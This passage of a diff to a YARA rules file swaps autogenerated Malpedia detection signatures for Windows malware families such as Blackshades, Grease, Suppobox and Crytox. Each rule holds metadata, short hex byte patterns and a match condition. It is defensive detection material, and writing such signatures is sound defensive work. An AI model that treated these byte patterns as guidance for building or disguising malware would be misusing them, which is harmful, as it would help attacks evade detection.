-		$sequence_14 = { 014608 498bce ffd7 448b85e8040000 }
-		$sequence_15 = { 0fb64211 88442409 0fb64212 8844240a }
+		$sequence_0 = { 418bb590000000 4903f4 4889742438 413b8594000000 0f8311010000 397e0c 0f8408010000 }
+		$sequence_1 = { 4154 4155 4156 4157 4883ec28 4c8b7128 448b6108 }
+		$sequence_2 = { c780d8feffffd3731048 c780dcfeffffffff00ff c780e0feffffffe0cccc c780e4feffffffff0000 4d8920 4d8921 }
+		$sequence_3 = { 0fb6ca 4103c9 4403f0 0fb74562 41d3e0 418bc9 49ffc7 }
+		$sequence_4 = { ff15???????? 8d043e 898318170000 eb2f 8d8702010000 }
+		$sequence_5 = { 4883c438 c3 488bc4 48895810 48897018 57 4154 }
+		$sequence_6 = { eb09 4584c0 7908 418b4124 89442420 85c0 }
+		$sequence_7 = { 4c8b4de0 c70705000000 f7471000040000 0f840c010000 8b5f48 413bdd 410f47dd }
+		$sequence_8 = { 7d07 8bd7 413bc7 7d03 418bd1 8b4b28 488b4310 }
+		$sequence_9 = { 0fb79f02040000 418b8a14170000 418bc3 2bc3 }
 
 	condition:
-		7 of them and filesize <9435136
+		7 of them and filesize <589824
 }
-rule MALPEDIA_Win_Blackshades_Auto : FILE
+rule MALPEDIA_Win_Grease_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "be0044cc-ffdd-5ce8-9261-6f20deb49ec5"
+		id = "adc1cb70-ca80-5648-8c82-afd04a5873d7"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackshades"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.blackshades_auto.yar#L1-L117"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.grease"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.grease_auto.yar#L1-L230"
 		license_url = "N/A"
-		logic_hash = "5be1fd8de19e4a88da957f4843427153e72a697b528878c27f4d0e3032429536"
+		logic_hash = "3adaa81800887e757966a0f8096c9ffe86dfca2fec47d710b3b77554cf1c8228"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -145502,73 +152464,86 @@ rule MALPEDIA_Win_Blackshades_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ff9e0460ff34 6c 60 ff0a }
-		$sequence_1 = { 08fe f5 0200 0000 6c 70ff 9e }
-		$sequence_2 = { 70ff f30004eb f4 02eb fb cf }
-		$sequence_3 = { 351cff1e55 2c00 0d6c04ff1b c700fb301cc9 }
-		$sequence_4 = { 58 2f 60 ff6c74ff }
-		$sequence_5 = { 2a23 60 ff1b 0d002a460c fff5 0200 0000 }
-		$sequence_6 = { 6c ff4a71 70ff 00746c78 ff1b }
-		$sequence_7 = { 6c ff4a71 70ff 00746c78 ff1b 4a }
-		$sequence_8 = { ff6c48ff 6c 4c ff40fc }
-		$sequence_9 = { ff1b 0d002a460c fff5 0200 0000 6c }
+		$sequence_0 = { 52 50 683f000f00 50 50 50 }
+		$sequence_1 = { 488b4c2460 ff15???????? b801000000 488b8c2480020000 4833cc e8???????? 4881c490020000 }
+		$sequence_2 = { 4533c0 488bd3 c744242804000000 4889442420 ff15???????? 488b4c2450 ff15???????? }
+		$sequence_3 = { 488b05???????? 4833c4 4889842480020000 488d4c2472 }
+		$sequence_4 = { c74424281f000200 895c2420 ff15???????? 85c0 0f85e7000000 }
+		$sequence_5 = { 4533c9 48897c2440 4889442438 48897c2430 }
+		$sequence_6 = { 48895c2440 48895c2458 895c2460 48895c2468 }
+		$sequence_7 = { 4889442438 48897c2430 4533c0 c74424283f000f00 897c2420 ff15???????? 85c0 }
+		$sequence_8 = { 488b4c2450 488d442458 41b904000000 4533c0 488bd3 }
+		$sequence_9 = { 55 68000000c0 50 ff15???????? 8bf0 }
+		$sequence_10 = { e9???????? c684342c08000023 e9???????? c684342c08000021 e9???????? c684342c08000025 }
+		$sequence_11 = { 51 683f000f00 6a00 8d542424 52 6802000080 ffd7 }
+		$sequence_12 = { 85c0 7540 8d542420 52 8b542414 }
+		$sequence_13 = { 83c001 3acb 75f7 8b2d???????? }
+		$sequence_14 = { 83c404 85f6 8854240c 8d46ff 7412 8a4c040c }
+		$sequence_15 = { e9???????? c684341001000066 e9???????? c684341001000068 e9???????? }
+		$sequence_16 = { e8???????? 8b0d???????? 51 8d542418 }
+		$sequence_17 = { e9???????? c6440c082b e9???????? c6440c083e e9???????? c6440c083d e9???????? }
+		$sequence_18 = { c68434240600003f eb12 c68434240600002e eb08 }
+		$sequence_19 = { 8a08 40 84c9 7405 46 85c0 }
+		$sequence_20 = { 8b9c2418040000 56 57 b90d000000 be???????? }
+		$sequence_21 = { 50 897c2430 ffd5 8b542410 6a04 8d4c241c 51 }
+		$sequence_22 = { 8d942434010000 52 56 ffd7 b83b000000 53 668984242c010000 }
 
 	condition:
-		7 of them and filesize <999424
+		7 of them and filesize <278528
 }
-rule MALPEDIA_Win_Fatal_Rat_Auto : FILE
+rule MALPEDIA_Win_Unidentified_073_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "ad01455e-ebcc-5d76-97a6-8783411925c1"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fatal_rat"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.fatal_rat_auto.yar#L1-L132"
+		id = "0ba61f73-e46a-5f54-853f-f1f3b502ee26"
+		date = "2022-08-05"
+		modified = "2022-08-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_073"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_073_auto.yar#L1-L125"
 		license_url = "N/A"
-		logic_hash = "bf12fac2d058bbab9ea0f9b93b84c2577fb8a36680f2394444c1c24a4d7c12b7"
+		logic_hash = "8100472ca712d569bbcdb570af72e3f13986092b4d8ee8e3873da55bef76232d"
 		score = 75
 		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
 		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
+		malpedia_rule_date = "20220805"
+		malpedia_hash = "6ec06c64bcfdbeda64eff021c766b4ce34542b71"
+		malpedia_version = "20220808"
 		malpedia_license = "CC BY-SA 4.0"
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 807dff00 742f 8b4e10 56 034df4 68???????? }
-		$sequence_1 = { 55 8bec 8b4508 33d2 3bc2 7432 8b481c }
-		$sequence_2 = { 833d????????02 7513 68???????? 8d851cffffff 50 e8???????? 59 }
-		$sequence_3 = { c645bb46 c645bc6f c645bd72 c645be6d 885dbf ff15???????? }
-		$sequence_4 = { 8b7df8 899e90000000 80662d00 8bce e8???????? 8b8e90000000 8b4614 }
-		$sequence_5 = { 48 eb05 8b462c 2bc1 8945f0 8b4508 8b0485d0b40110 }
-		$sequence_6 = { c685e0fdffff2e c685e1fdffff65 c685e2fdffff78 c685e3fdffff65 889de4fdffff c645946b c6459573 }
-		$sequence_7 = { 8981a4af0600 5d c3 c3 c3 55 8bec }
-		$sequence_8 = { 33db a5 a5 53 8d8520feffff 6a2e 50 }
-		$sequence_9 = { ff15???????? 53 56 50 a3???????? ff15???????? 80a5ecfbffff00 }
+		$sequence_0 = { 8d8538ffffff 6a00 c746180f000000 8bce }
+		$sequence_1 = { c684242801000019 e8???????? 68???????? 8d8c24c0000000 e8???????? 6aff }
+		$sequence_2 = { 8bce c7461400000000 50 c6460400 e8???????? 83ec1c 8bf4 }
+		$sequence_3 = { 7846 8b451c 8b0e 2bc1 3bc3 7c53 }
+		$sequence_4 = { 8b0d???????? 894df8 eb09 8b55f8 83ea01 8955f8 837df800 }
+		$sequence_5 = { 6a00 8d8424dc000000 50 8d4c2454 e8???????? 83ec1c 8d84240c010000 }
+		$sequence_6 = { 8bec 51 894dfc c705????????90664a00 833d????????00 741c }
+		$sequence_7 = { 6bd103 8982a0784a00 68???????? 8b45fc 50 ff15???????? }
+		$sequence_8 = { 0fb74df8 894de0 668b55e0 668955f8 0fb745fc 0fb74df8 3bc1 }
+		$sequence_9 = { 57 6aff 68???????? 50 ff15???????? }
 
 	condition:
-		7 of them and filesize <344064
+		7 of them and filesize <1974272
 }
-rule MALPEDIA_Win_Skyplex_Auto : FILE
+rule MALPEDIA_Win_Suppobox_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "3d9ea458-10c2-53d2-a125-12c3c77bb27b"
+		id = "4c561dbc-9b95-52c8-b1b6-738a8e400b62"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.skyplex"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.skyplex_auto.yar#L1-L123"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.suppobox"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.suppobox_auto.yar#L1-L194"
 		license_url = "N/A"
-		logic_hash = "d0704b78b2354a7199559252cd2d4f927c47dc758745bd631528996f74a24c6c"
+		logic_hash = "33ed4ed4c3c8a05bca33fadb06a60aef627f5ee4031100bb5102db6965fc9d6b"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -145580,32 +152555,44 @@ rule MALPEDIA_Win_Skyplex_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 6a00 ff15???????? 898508fcffff ff15???????? }
-		$sequence_1 = { c3 8bff 56 57 33ff 8db704984100 ff36 }
-		$sequence_2 = { 59 e9???????? 8b36 8bce c1f905 8b0c8dc0af4100 }
-		$sequence_3 = { 8b7d08 8bc7 c1f805 8d3485c0af4100 8b06 }
-		$sequence_4 = { 50 e8???????? 50 8b4df8 8b11 8b45f8 50 }
-		$sequence_5 = { c785b8f6ffff684c4100 c785bcf6ffffb04c4100 ff15???????? 50 e8???????? 83c404 }
-		$sequence_6 = { 33d2 b9???????? 57 8bc2 c1f805 8b0485c0af4100 8bfa }
-		$sequence_7 = { 83bdf0feffff03 7327 8b85f0feffff 8b0c857c904100 51 }
-		$sequence_8 = { 66898c4558f7ffff 8d9558f7ffff 52 8d8540fbffff 50 }
-		$sequence_9 = { 6a01 ff15???????? c78544f6ffff01000000 eb0f 8b8d44f6ffff 83c101 898d44f6ffff }
+		$sequence_0 = { 7d10 a1???????? 0b05???????? a3???????? }
+		$sequence_1 = { 7f10 a1???????? 2305???????? a3???????? }
+		$sequence_2 = { 8945f0 a1???????? 83e801 a3???????? }
+		$sequence_3 = { 7e10 a1???????? 0305???????? a3???????? }
+		$sequence_4 = { 890d???????? e8???????? 8bf0 e8???????? 03f0 }
+		$sequence_5 = { 7d10 a1???????? 3305???????? a3???????? }
+		$sequence_6 = { 3bc8 7d10 a1???????? 2b05???????? a3???????? }
+		$sequence_7 = { 01bdacf7ffff 83c40c 83bdc8f7ffff00 8b95c8f7ffff }
+		$sequence_8 = { 8d45f3 83ec04 890424 e8???????? }
+		$sequence_9 = { 8d45f3 890424 e8???????? 52 ebc5 }
+		$sequence_10 = { 8d45f4 89442408 e9???????? 8b4508 }
+		$sequence_11 = { 01c6 39fe 0f8d7e010000 80bc2ef4f7ffff0a }
+		$sequence_12 = { 8d45f2 89f1 89442404 c70424???????? }
+		$sequence_13 = { 01d8 3b85b0f7ffff 7e2f 8b95c8f7ffff }
+		$sequence_14 = { 8d45f2 89442404 8b4508 890424 e8???????? 83ec08 }
+		$sequence_15 = { 8d45ef 89d9 890424 e8???????? 51 }
+		$sequence_16 = { 01d7 68???????? 57 e8???????? }
+		$sequence_17 = { 01c6 ebdb ff7510 57 }
+		$sequence_18 = { 01c9 4a 79f2 833b54 }
+		$sequence_19 = { 8d45f4 89442408 c744240401000000 893424 }
+		$sequence_20 = { 01c6 39fe 0f8d2f020000 80bc2ef4f7ffff0a }
+		$sequence_21 = { 019dacf7ffff 83c40c 299dc4f7ffff e9???????? }
 
 	condition:
-		7 of them and filesize <262144
+		7 of them and filesize <1875968
 }
-rule MALPEDIA_Win_Sparrow_Door_Auto : FILE
+rule MALPEDIA_Win_Chches_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "0be52ebd-81b0-5548-b0c4-71d664335291"
+		id = "a2d17035-5b65-5ddb-9479-7e5b4a4aa253"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sparrow_door"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sparrow_door_auto.yar#L1-L124"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.chches"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.chches_auto.yar#L1-L131"
 		license_url = "N/A"
-		logic_hash = "a3ea16377775f10fb390048ca81fb5b622cc57fa7d5b14e32fa13a939a085057"
+		logic_hash = "90b994c4c0ea91e131f92144cfcd7cc30920c864cbd411a57992ff45077985cd"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -145619,32 +152606,32 @@ rule MALPEDIA_Win_Sparrow_Door_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 395c240c 7551 8b5604 8b3d???????? 52 68???????? }
-		$sequence_1 = { 57 56 ff15???????? 85c0 0f8491010000 8b44243c 3bc5 }
-		$sequence_2 = { 8d8c2440040000 51 55 8d94243c010000 52 6a00 68e9fd0000 }
-		$sequence_3 = { 53 50 8bf1 895c2430 895c2438 889c244c060000 }
-		$sequence_4 = { 8d44245c 50 e8???????? 83c420 85c0 }
-		$sequence_5 = { a1???????? a3???????? a1???????? c705????????05772a00 8935???????? }
-		$sequence_6 = { e8???????? 8d542470 52 8d442448 50 8b84249c010000 }
-		$sequence_7 = { 50 895c2438 c744244844000000 898c2480000000 c744247401010000 6689542478 889c2490000000 }
-		$sequence_8 = { 894c2418 8954241c 3bc3 7555 }
-		$sequence_9 = { 8d8c2400010000 51 56 52 ffd5 85c0 74a8 }
+		$sequence_0 = { 8b45f4 8b7dfc 50 8b8628020000 ffd0 8b45f8 85c0 }
+		$sequence_1 = { 85c0 7e0b 8b55f8 8b435c 6aff 52 }
+		$sequence_2 = { 8d5f18 85db 7477 8b16 8b4244 8b4018 }
+		$sequence_3 = { 8b16 8945fc 8b4244 3bc7 0f842b020000 8b00 8b7dfc }
+		$sequence_4 = { b810000000 e8???????? 83c420 8945f0 c745f400000000 85c0 0f8405010000 }
+		$sequence_5 = { 66890c78 47 ba2a000000 8d8d98fdffff 66891478 8b9680020000 51 }
+		$sequence_6 = { 8b4004 85c0 7475 3902 746d 8b4e64 50 }
+		$sequence_7 = { 81e980191001 03c1 50 68bfa2c2cd 687f90b056 68a71001fe 686021a031 }
+		$sequence_8 = { 895da0 85db 740f 8b87b8010000 8d5594 52 53 }
+		$sequence_9 = { c745f401000000 eb1c 50 6a08 ffd2 50 }
 
 	condition:
-		7 of them and filesize <155648
+		7 of them and filesize <122880
 }
-rule MALPEDIA_Win_W32Times_Auto : FILE
+rule MALPEDIA_Win_Hopscotch_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "0bfdc72d-d05e-5c1b-8705-7d1b1a1a85f1"
+		id = "dd6bd925-f81a-5efa-b164-a58190829fd7"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.w32times"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.w32times_auto.yar#L1-L125"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hopscotch"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.hopscotch_auto.yar#L1-L123"
 		license_url = "N/A"
-		logic_hash = "09784a57b734a06db72c3b3952721b8e38cad13da9a478a5c4cffbebd654009b"
+		logic_hash = "1aacad185595691b5a0f903be6e5a023d3d5227283438abf4c811f89adcac931"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -145658,34 +152645,34 @@ rule MALPEDIA_Win_W32Times_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? 85c0 0f8487030000 6a01 68???????? }
-		$sequence_1 = { 83e103 f3a4 8b35???????? 8d8c24f0020000 68???????? 51 ffd6 }
-		$sequence_2 = { 83c408 68???????? ff15???????? 85c0 0f85c6060000 ff15???????? }
-		$sequence_3 = { ff15???????? 68???????? ff15???????? 396c2418 7410 6a01 }
-		$sequence_4 = { 3b9c24000d0000 0f84cc090000 8a8424f0020000 84c0 0f84bd090000 8a8424e8000000 84c0 }
-		$sequence_5 = { 8bfd 83c9ff 33c0 8d9424ec010000 f2ae f7d1 2bf9 }
-		$sequence_6 = { 8b15???????? 52 ffd3 892d???????? a1???????? 3bc5 7416 }
-		$sequence_7 = { f3a5 8bcd 8d9424f4030000 83e103 f3a4 8dbc24f4040000 }
-		$sequence_8 = { 683f000f00 6a00 56 ff15???????? 8bf8 }
-		$sequence_9 = { 83c40c 85c0 0f85e00c0000 8b4b04 6a04 }
+		$sequence_0 = { 8b1d???????? 8d8c24a4010000 6a00 6a00 6a03 6a00 }
+		$sequence_1 = { 5b 81c400010000 c3 8b8c2410010000 51 57 }
+		$sequence_2 = { ffd7 56 53 8d4c2414 6a08 51 e8???????? }
+		$sequence_3 = { ffd7 85c0 753c 8b35???????? ffd6 83f802 742f }
+		$sequence_4 = { 7554 33f6 89b5dcfeffff 8b3d???????? 83fe05 7332 }
+		$sequence_5 = { 81ec80090000 53 56 57 68???????? e8???????? }
+		$sequence_6 = { 68???????? e8???????? 83c408 8d9424a8020000 }
+		$sequence_7 = { 56 57 ff15???????? 85c0 7514 8d442414 }
+		$sequence_8 = { c7442400ffffffff 50 c7442408ffffffff e8???????? 83c404 8d4c2400 }
+		$sequence_9 = { 8b3d???????? 83c408 8d442408 50 ffd7 }
 
 	condition:
-		7 of them and filesize <122880
+		7 of them and filesize <1143808
 }
-rule MALPEDIA_Win_Rokku_Auto : FILE
+rule MALPEDIA_Win_Dadjoke_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "75b8aef9-2da5-556e-9635-075190f42681"
+		id = "62c26982-fdfa-5ead-84fa-82086121c261"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rokku"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rokku_auto.yar#L1-L129"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dadjoke"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.dadjoke_auto.yar#L1-L224"
 		license_url = "N/A"
-		logic_hash = "3a863d12b65613db8f002333dfdefeb5bdf603888d10aa587187b07349134f7e"
+		logic_hash = "551e5b1afd2fb8a5c55119844d05872b1d6fb1f0561b620ba9bad0b2cb1592e0"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -145697,32 +152684,44 @@ rule MALPEDIA_Win_Rokku_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 0f2805???????? 0f114561 8ac1 028541ffffff 30840d42ffffff }
-		$sequence_1 = { 8bc1 8b942444000300 0bc2 0f8456020000 6a06 }
-		$sequence_2 = { 8d141b f7ea 8bf8 8bda 8bc1 f76c2470 03f8 }
-		$sequence_3 = { 89442438 8b44246c 89442418 8b442468 89442414 8b442464 89442444 }
-		$sequence_4 = { 8b0e e8???????? 33c9 84c0 0f454d08 890e eb1f }
-		$sequence_5 = { c706???????? 8365fc00 8b4e04 85c9 740d 8b01 ff5010 }
-		$sequence_6 = { 13ea f76c2454 896c2420 01442410 8d0436 8b742460 }
-		$sequence_7 = { 8b7a18 8b5220 337918 335120 23fd 8b4824 23d5 }
-		$sequence_8 = { 894d10 8b4c2414 0fa4c119 8b4c2468 c1e019 2bf0 8bc7 }
-		$sequence_9 = { 55 56 57 898c24ac000000 8b02 89442454 8b4204 }
+		$sequence_0 = { 56 57 6800081000 6a00 }
+		$sequence_1 = { 8b55bc 52 6800040000 8d8518f5ffff 50 e8???????? }
+		$sequence_2 = { 3d46270000 7406 837dd800 752c }
+		$sequence_3 = { 8345bc01 807df600 75ed 8b7dbc 8bb570ffffff 8b956cffffff }
+		$sequence_4 = { 6a00 6a00 ff15???????? 8945c0 6a00 6a01 }
+		$sequence_5 = { ff15???????? 8945fc 8b4dfc 51 e8???????? 83c404 }
+		$sequence_6 = { e8???????? 83c40c 8d8d28fdffff 51 e8???????? 83c404 }
+		$sequence_7 = { 5e c3 8bff 55 8bec 83ec10 33c0 }
+		$sequence_8 = { ff15???????? 85c0 7417 b920000000 }
+		$sequence_9 = { e8???????? c3 6a04 e8???????? 59 c3 6a0c }
+		$sequence_10 = { 84c0 0f94c1 8bc1 c3 a1???????? c3 8bff }
+		$sequence_11 = { e8???????? 83c40c c7458c00000000 ff15???????? 50 e8???????? }
+		$sequence_12 = { 8b3d???????? 8b1d???????? 51 e8???????? 8bf0 83c404 }
+		$sequence_13 = { 6a40 6800100000 6800004000 6a00 }
+		$sequence_14 = { 0f84d5480000 c3 833d????????ff 7503 33c0 }
+		$sequence_15 = { 7ce7 8d45f4 c645f800 33db 8d7001 33d2 }
+		$sequence_16 = { 8b85e4faffff 8d95e0faffff 52 68???????? 50 8b08 }
+		$sequence_17 = { 8d85e4faffff 50 68???????? 6a01 6a00 68???????? ff15???????? }
+		$sequence_18 = { 884435f4 46 83fe04 7ce7 8d45f4 c645f800 }
+		$sequence_19 = { c745fc14000000 0f1106 894610 8d45fc }
+		$sequence_20 = { 5f 0f44ca 5b 8bc1 5e 5d c3 }
+		$sequence_21 = { 83e13f c1f806 6bc930 8b048558047500 }
 
 	condition:
-		7 of them and filesize <548864
+		7 of them and filesize <344064
 }
-rule MALPEDIA_Win_Enigma_Loader_Auto : FILE
+rule MALPEDIA_Win_Cargobay_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "33d20d9c-767a-597b-ae66-93f6af0c58cb"
+		id = "73c95842-79c7-50a5-be49-1d9ec0676b5e"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.enigma_loader"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.enigma_loader_auto.yar#L1-L131"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cargobay"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cargobay_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "8a62893fbe7653f384c2f95eb23ec8773d32568e91ea2e5850c81f2ea0184b8d"
+		logic_hash = "6881c841016fbba7262559cf71fef612762f65200b77d9ecbf913cbcf1cd6281"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -145736,32 +152735,32 @@ rule MALPEDIA_Win_Enigma_Loader_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b05???????? 33ff 66393d???????? 41bc09cb3d8d 0f1145ea 8945fa 448d770a }
-		$sequence_1 = { 0f840c010000 488b01 4c8d4de0 4c8d4520 488d5530 ff5010 84c0 }
-		$sequence_2 = { e9???????? 488b8aa0000000 4883c108 e9???????? 488b8aa0000000 4883c120 e9???????? }
-		$sequence_3 = { 488d542478 488bcf e8???????? 90 41c6466801 4138b6b0000000 0f85e2040000 }
-		$sequence_4 = { 488d05dfab0200 e9???????? 488d0523ac0200 eb7c 488d056aac0200 eb73 }
-		$sequence_5 = { 498b4210 448b10 410fb609 83e10f 4a0fbe843178940200 428a8c3188940200 4c2bc8 }
-		$sequence_6 = { 4d8b86c8000000 4c898558020000 488b4610 48394608 7529 488b0e 8a11 }
-		$sequence_7 = { cc 33c0 4c8d1d8fbafeff 884118 0f57c0 }
-		$sequence_8 = { 33d2 33c9 ffd0 4889842420010000 4885c0 7510 bab9fa0e75 }
-		$sequence_9 = { 773b 498bc8 e8???????? 488b6c2458 4a8d0ce3 48891f 498bc6 }
+		$sequence_0 = { e9???????? 4c8b4910 31c0 4c01ca 7216 48395108 7210 }
+		$sequence_1 = { 80bc24b100000000 0f84e2020000 8a8c24b2000000 0fb6d1 83fa2c 743e b800000000 }
+		$sequence_2 = { e8???????? eb56 488db42498010000 41b8b8000000 4889f1 4c89fa e8???????? }
+		$sequence_3 = { c6040800 48ffc1 ebf2 488b4748 41b801000000 4889f9 4c89e2 }
+		$sequence_4 = { eb04 48832300 4889f1 4c89f2 4883c448 5b 5d }
+		$sequence_5 = { e8???????? 0f0b 56 57 4881ec18040000 4889ce 488d7c2428 }
+		$sequence_6 = { ba05000000 e8???????? e9???????? 488d0dddfe0d00 ba09000000 e8???????? 4889c3 }
+		$sequence_7 = { c5fa6f8729020000 c4e27d470d???????? c4e27d4505???????? c5fd6f15???????? c4e26d36c0 c5fdebc1 c5fddb05???????? }
+		$sequence_8 = { 4d896608 488d8c2488000000 488919 48897108 48898424b0000000 4889bc24b8000000 4d8937 }
+		$sequence_9 = { ba08000000 41b908000000 e8???????? 4881c600020000 4889f1 4c89f2 e8???????? }
 
 	condition:
-		7 of them and filesize <798720
+		7 of them and filesize <3432448
 }
-rule MALPEDIA_Win_Dorshel_Auto : FILE
+rule MALPEDIA_Win_Crytox_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "550d8628-f52a-56de-91a7-ece0c38b96fb"
+		id = "0ddd8657-2514-5374-8039-613e49f7d728"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dorshel"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.dorshel_auto.yar#L1-L124"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.crytox"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.crytox_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "364203df24c6a83e17731caab6caa244bb9a531055fdc65fef6d763de8c4fb40"
+		logic_hash = "53a20cdadf7c04d8a44d2123a9699db23173b707dd2f3ef0f82ea172db5f35fb"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -145775,34 +152774,34 @@ rule MALPEDIA_Win_Dorshel_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 55 8bec 83ec0c 31c0 648b5030 8b520c 8b5214 }
-		$sequence_1 = { 8d7708 8b3f 33fb f3a4 5f }
-		$sequence_2 = { 03f8 84c0 75f6 81ff5e515e83 7408 81ff36cadb30 75da }
-		$sequence_3 = { 83c004 e2f9 58 54 50 }
-		$sequence_4 = { 51 8b0f 33cb 51 ff55f8 8b5df4 }
-		$sequence_5 = { 54 50 8b4f04 33cb 51 8b0f }
-		$sequence_6 = { ffd5 85c0 74cd 8b07 01c3 }
-		$sequence_7 = { ac c1cf0d 03f8 84c0 75f6 81ff5e515e83 7408 }
-		$sequence_8 = { 57 6800200000 53 56 68129689e2 ffd5 85c0 }
-		$sequence_9 = { 5f 8b4704 33c3 83c104 99 }
+		$sequence_0 = { eb7d 85f6 7479 c645c800 e8???????? 85c0 89c3 }
+		$sequence_1 = { dfe9 0f86c2e3ffff 89442410 89c1 c1fa02 db442410 c1f902 }
+		$sequence_2 = { e8???????? 8b4510 3b4518 741d 0fbf45c4 c1e002 89442408 }
+		$sequence_3 = { e8???????? 89c3 8b45dc 85c0 0f84adfeffff 8d65f4 89d8 }
+		$sequence_4 = { eb02 d9c9 83c301 038d30ffffff 399d04ffffff 7f8e ddd9 }
+		$sequence_5 = { f1 807de700 89d3 7510 6bc22c 80b84442660000 0f85ac000000 }
+		$sequence_6 = { c5c5fe3d???????? c5c572e70e c5fd7f9c24000b0000 c5e572e50e c5d572e60e c5fd7f9c24e0090000 c5ddfe15???????? }
